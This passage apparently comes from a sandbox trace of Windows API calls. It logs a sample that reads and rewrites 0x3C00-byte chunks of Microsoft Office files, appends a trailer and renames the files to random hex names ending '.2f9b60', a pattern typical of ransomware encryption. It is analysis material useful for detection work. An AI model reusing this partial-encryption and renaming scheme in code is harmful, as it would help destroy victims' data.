0x19ee05c0 [0135.173] SetFilePointerEx (in: hFile=0x1c98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.174] ReadFile (in: hFile=0x1c98, lpBuffer=0x2037e990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28def940, lpOverlapped=0x0 | out: lpBuffer=0x2037e990*, lpNumberOfBytesRead=0x28def940*=0x3c00, lpOverlapped=0x0) returned 1 [0135.209] SetFilePointerEx (in: hFile=0x1c98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97df0 [0135.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dd70 [0135.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605f0 [0135.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202605f0) returned 1 [0135.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2038dcc0 [0135.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605f0 [0135.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0135.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261910) returned 1 [0135.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dd70) returned 1 [0135.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0135.211] WriteFile (hFile=0x1c98, lpBuffer=0x2038dcc0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28def940, lpOverlapped=0x0) [0170.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2038dcc0) returned 1 [0170.799] SetFilePointerEx (in: hFile=0x1c98, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.799] ReadFile (in: hFile=0x1c98, lpBuffer=0x2037e990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28def940, lpOverlapped=0x0 | out: lpBuffer=0x2037e990*, lpNumberOfBytesRead=0x28def940*=0x3c00, lpOverlapped=0x0) returned 1 [0170.894] SetFilePointerEx (in: hFile=0x1c98, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0170.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0170.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263200 [0170.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263200) returned 1 [0170.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421a4d90 [0170.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263200 [0170.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202639e0 [0170.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202639e0) returned 1 [0170.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0170.897] WriteFile (in: hFile=0x1c98, lpBuffer=0x421a4d90*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28def940, lpOverlapped=0x0 | out: lpBuffer=0x421a4d90*, lpNumberOfBytesWritten=0x28def940*=0x3c00, lpOverlapped=0x0) returned 1 [0194.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421a4d90) returned 1 [0194.590] SetFilePointerEx (in: hFile=0x1c98, liDistanceToMove=0x3c328, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.590] ReadFile (in: hFile=0x1c98, lpBuffer=0x2037e990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28def940, lpOverlapped=0x0 | out: lpBuffer=0x2037e990*, lpNumberOfBytesRead=0x28def940*=0x3c00, lpOverlapped=0x0) returned 1 [0194.714] SetFilePointerEx (in: hFile=0x1c98, liDistanceToMove=0x3c328, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0194.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b0b0 [0194.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ba50 [0194.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ba50) returned 1 [0194.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2043b690 [0194.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ba50 [0194.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d1c0 [0194.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d1c0) returned 1 [0194.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b0b0) returned 1 [0194.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0194.717] WriteFile (in: hFile=0x1c98, lpBuffer=0x2043b690*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28def940, lpOverlapped=0x0 | out: lpBuffer=0x2043b690*, lpNumberOfBytesWritten=0x28def940*=0x3c00, lpOverlapped=0x0) returned 1 [0205.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2043b690) returned 1 [0205.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319fd70 [0205.377] SetFilePointerEx (in: hFile=0x1c98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.378] WriteFile (in: hFile=0x1c98, lpBuffer=0x1cebd7e0*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x28def9f0, lpOverlapped=0x0 | out: lpBuffer=0x1cebd7e0*, lpNumberOfBytesWritten=0x28def9f0*=0x144, lpOverlapped=0x0) returned 1 [0209.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5ba70 [0209.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0209.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab90 [0209.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aab90) returned 1 [0209.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d520 [0209.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab90 [0209.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab30 [0209.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aab30) returned 1 [0209.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0209.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ba70) returned 1 [0209.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202aab30 [0209.113] sprintf (in: _Dest=0x202aab30, _Format="%c%c" | out: _Dest="cd") returned 2 [0209.113] sprintf (in: _Dest=0x202aab32, _Format="%c%c" | out: _Dest="68") returned 2 [0209.113] sprintf (in: _Dest=0x202aab34, _Format="%c%c" | out: _Dest="1c") returned 2 [0209.113] sprintf (in: _Dest=0x202aab36, _Format="%c%c" | out: _Dest="2f") returned 2 [0209.113] sprintf (in: _Dest=0x202aab38, _Format="%c%c" | out: _Dest="da") returned 2 [0209.113] sprintf (in: _Dest=0x202aab3a, _Format="%c%c" | out: _Dest="e8") returned 2 [0209.113] sprintf (in: _Dest=0x202aab3c, _Format="%c%c" | out: _Dest="50") returned 2 [0209.113] sprintf (in: _Dest=0x202aab3e, _Format="%c%c" | out: _Dest="65") returned 2 [0209.113] sprintf (in: _Dest=0x202aab40, _Format="%c%c" | out: _Dest="89") returned 2 [0209.113] sprintf (in: _Dest=0x202aab42, _Format="%c%c" | out: _Dest="ac") returned 2 [0209.113] sprintf (in: _Dest=0x202aab44, _Format="%c%c" | out: _Dest="99") returned 2 [0209.113] sprintf (in: _Dest=0x202aab46, _Format="%c%c" | out: _Dest="31") returned 2 [0209.113] sprintf (in: _Dest=0x202aab48, _Format="%c%c" | out: _Dest="4f") returned 2 [0209.114] sprintf (in: _Dest=0x202aab4a, _Format="%c%c" | out: _Dest="ac") returned 2 [0209.114] sprintf (in: _Dest=0x202aab4c, _Format="%c%c" | out: _Dest="f5") returned 2 [0209.114] sprintf (in: _Dest=0x202aab4e, _Format="%c%c" | out: _Dest="84") returned 2 [0209.114] sprintf (in: _Dest=0x202aab50, _Format="%c%c" | out: _Dest="b2") returned 2 [0209.114] sprintf (in: _Dest=0x202aab52, _Format="%c%c" | out: _Dest="44") returned 2 [0209.114] RtlInitAnsiString (in: DestinationString=0x28defa68, SourceString="cd681c2fdae8506589ac99314facf584b244" | out: DestinationString="cd681c2fdae8506589ac99314facf584b244") [0209.114] RtlAnsiStringToUnicodeString (in: DestinationString=0x28defa38, SourceString="cd681c2fdae8506589ac99314facf584b244", AllocateDestinationString=1 | out: DestinationString="cd681c2fdae8506589ac99314facf584b244") returned 0x0 [0209.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9d030 [0209.114] wcscat (in: _Dest=0x42060830, _Source="cd681c2fd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\cd681c2fd") returned="C:\\Program Files\\Microsoft Office\\Office14\\cd681c2fd" [0209.114] wcscat (in: _Dest=0x42060830, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\cd681c2fd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\cd681c2fd.2f9b60" [0209.114] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\cd681c2fd.2f9b60", NtPathName=0x28defa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\cd681c2fd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0209.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x43184020 Thread: id = 1793 os_tid = 0xfec [0132.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msword.olb")) returned 0x20 [0132.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB", dwFileAttributes=0x20) returned 1 [0133.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msword.olb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c70 [0134.904] GetFileSizeEx (in: hFile=0x1c70, lpFileSize=0x28f3f820 | out: lpFileSize=0x28f3f820*=901464) returned 1 [0134.904] SetFilePointerEx (in: hFile=0x1c70, liDistanceToMove=0xdc154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.904] ReadFile (in: hFile=0x1c70, lpBuffer=0x28f3f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28f3f7e8, lpOverlapped=0x0 | out: lpBuffer=0x28f3f7a0*, lpNumberOfBytesRead=0x28f3f7e8*=0x4, lpOverlapped=0x0) returned 1 [0134.927] SetFilePointerEx (in: hFile=0x1c70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6710 [0134.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6da0 [0134.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6e90 [0134.928] NtQuerySystemTime (in: CurrentTime=0x28f3f6e0 | out: CurrentTime=0x28f3f6e0*=132462177401734000) returned 0x0 [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x7113c6c5 [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x4b52318f [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0xd8137b6 [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x8f09c29 [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x3d8cea78 [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x4c38deb2 [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x4ff66522 [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x3968cb4a [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x64171ce3 [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x6a3880 [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x6dc04231 [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x7286f247 [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x690b5973 [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x729b587f [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x684b0a7d [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x6d4d8ba6 [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x16d5aa11 [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x41856634 [0134.928] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x37143d0e [0134.929] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x5f149252 [0134.929] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x2dfcbc98 [0134.929] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x394b55a [0134.929] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x615b5665 [0134.929] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x788806c3 [0134.929] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x1830a96a [0134.929] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x48585071 [0134.929] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x23302665 [0134.929] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x7d2d8e08 [0134.929] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x649ed012 [0134.929] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x4c661fc2 [0134.929] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x76a1b487 [0134.929] RtlRandomEx (in: Seed=0x28f3f6d0 | out: Seed=0x28f3f6d0) returned 0x69ca57c7 [0134.941] SetFilePointerEx (in: hFile=0x1c70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.941] ReadFile (in: hFile=0x1c70, lpBuffer=0x203425a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28f3f740, lpOverlapped=0x0 | out: lpBuffer=0x203425a0*, lpNumberOfBytesRead=0x28f3f740*=0x3c00, lpOverlapped=0x0) returned 1 [0134.988] SetFilePointerEx (in: hFile=0x1c70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0134.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0134.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6e90 [0134.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6e90) returned 1 [0134.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2034dcc0 [0134.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6e90 [0134.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa6b0 [0134.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa6b0) returned 1 [0134.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0134.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0134.990] WriteFile (hFile=0x1c70, lpBuffer=0x2034dcc0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28f3f740, lpOverlapped=0x0) [0170.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2034dcc0) returned 1 [0170.827] SetFilePointerEx (in: hFile=0x1c70, liDistanceToMove=0x70800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.827] ReadFile (in: hFile=0x1c70, lpBuffer=0x203425a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28f3f740, lpOverlapped=0x0 | out: lpBuffer=0x203425a0*, lpNumberOfBytesRead=0x28f3f740*=0x3c00, lpOverlapped=0x0) returned 1 [0170.904] SetFilePointerEx (in: hFile=0x1c70, liDistanceToMove=0x70800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0170.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0170.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602c0 [0170.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202602c0) returned 1 [0170.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ef9560 [0170.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602c0 [0170.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a40 [0170.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a40) returned 1 [0170.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0170.907] WriteFile (in: hFile=0x1c70, lpBuffer=0x41ef9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28f3f740, lpOverlapped=0x0 | out: lpBuffer=0x41ef9560*, lpNumberOfBytesWritten=0x28f3f740*=0x3c00, lpOverlapped=0x0) returned 1 [0194.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ef9560) returned 1 [0194.593] SetFilePointerEx (in: hFile=0x1c70, liDistanceToMove=0xd8558, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.593] ReadFile (in: hFile=0x1c70, lpBuffer=0x203425a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28f3f740, lpOverlapped=0x0 | out: lpBuffer=0x203425a0*, lpNumberOfBytesRead=0x28f3f740*=0x3c00, lpOverlapped=0x0) returned 1 [0194.725] SetFilePointerEx (in: hFile=0x1c70, liDistanceToMove=0xd8558, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0194.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b0b0 [0194.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d190 [0194.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d190) returned 1 [0194.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2034a0b0 [0194.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d190 [0194.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d460 [0194.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d460) returned 1 [0194.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b0b0) returned 1 [0194.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0194.728] WriteFile (in: hFile=0x1c70, lpBuffer=0x2034a0b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28f3f740, lpOverlapped=0x0 | out: lpBuffer=0x2034a0b0*, lpNumberOfBytesWritten=0x28f3f740*=0x3c00, lpOverlapped=0x0) returned 1 [0205.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2034a0b0) returned 1 [0205.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319fec0 [0205.386] SetFilePointerEx (in: hFile=0x1c70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.386] WriteFile (in: hFile=0x1c70, lpBuffer=0x1cebd150*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x28f3f7f0, lpOverlapped=0x0 | out: lpBuffer=0x1cebd150*, lpNumberOfBytesWritten=0x28f3f7f0*=0x146, lpOverlapped=0x0) returned 1 [0208.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0208.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0208.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7ac0) returned 1 [0208.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d520 [0208.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0208.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7250 [0208.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7250) returned 1 [0208.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0208.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x431ac860 [0208.925] sprintf (in: _Dest=0x431ac860, _Format="%c%c" | out: _Dest="f5") returned 2 [0208.925] sprintf (in: _Dest=0x431ac862, _Format="%c%c" | out: _Dest="44") returned 2 [0208.926] sprintf (in: _Dest=0x431ac864, _Format="%c%c" | out: _Dest="3c") returned 2 [0208.926] sprintf (in: _Dest=0x431ac866, _Format="%c%c" | out: _Dest="d1") returned 2 [0208.926] sprintf (in: _Dest=0x431ac868, _Format="%c%c" | out: _Dest="91") returned 2 [0208.926] sprintf (in: _Dest=0x431ac86a, _Format="%c%c" | out: _Dest="3b") returned 2 [0208.926] sprintf (in: _Dest=0x431ac86c, _Format="%c%c" | out: _Dest="d4") returned 2 [0208.926] sprintf (in: _Dest=0x431ac86e, _Format="%c%c" | out: _Dest="95") returned 2 [0208.926] sprintf (in: _Dest=0x431ac870, _Format="%c%c" | out: _Dest="30") returned 2 [0208.926] sprintf (in: _Dest=0x431ac872, _Format="%c%c" | out: _Dest="4e") returned 2 [0208.926] sprintf (in: _Dest=0x431ac874, _Format="%c%c" | out: _Dest="48") returned 2 [0208.926] sprintf (in: _Dest=0x431ac876, _Format="%c%c" | out: _Dest="5b") returned 2 [0208.926] sprintf (in: _Dest=0x431ac878, _Format="%c%c" | out: _Dest="7b") returned 2 [0208.926] sprintf (in: _Dest=0x431ac87a, _Format="%c%c" | out: _Dest="2a") returned 2 [0208.926] sprintf (in: _Dest=0x431ac87c, _Format="%c%c" | out: _Dest="ef") returned 2 [0208.926] sprintf (in: _Dest=0x431ac87e, _Format="%c%c" | out: _Dest="22") returned 2 [0208.926] sprintf (in: _Dest=0x431ac880, _Format="%c%c" | out: _Dest="a4") returned 2 [0208.926] sprintf (in: _Dest=0x431ac882, _Format="%c%c" | out: _Dest="36") returned 2 [0208.926] sprintf (in: _Dest=0x431ac884, _Format="%c%c" | out: _Dest="d0") returned 2 [0208.926] sprintf (in: _Dest=0x431ac886, _Format="%c%c" | out: _Dest="97") returned 2 [0208.926] RtlInitAnsiString (in: DestinationString=0x28f3f868, SourceString="f5443cd1913bd495304e485b7b2aef22a436d097" | out: DestinationString="f5443cd1913bd495304e485b7b2aef22a436d097") [0208.926] RtlAnsiStringToUnicodeString (in: DestinationString=0x28f3f838, SourceString="f5443cd1913bd495304e485b7b2aef22a436d097", AllocateDestinationString=1 | out: DestinationString="f5443cd1913bd495304e485b7b2aef22a436d097") returned 0x0 [0208.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1ced62e0 [0208.927] wcscat (in: _Dest=0x431a1890, _Source="f5443cd191" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\f5443cd191") returned="C:\\Program Files\\Microsoft Office\\Office14\\f5443cd191" [0208.927] wcscat (in: _Dest=0x431a1890, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\f5443cd191.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\f5443cd191.2f9b60" [0208.927] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\f5443cd191.2f9b60", NtPathName=0x28f3f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\f5443cd191.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x43183da0 Thread: id = 1794 os_tid = 0xd2c [0132.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\ocrhc.dat")) returned 0x20 [0132.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT", dwFileAttributes=0x20) returned 1 [0133.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\ocrhc.dat"), dwDesiredAccess=0xc0010000, 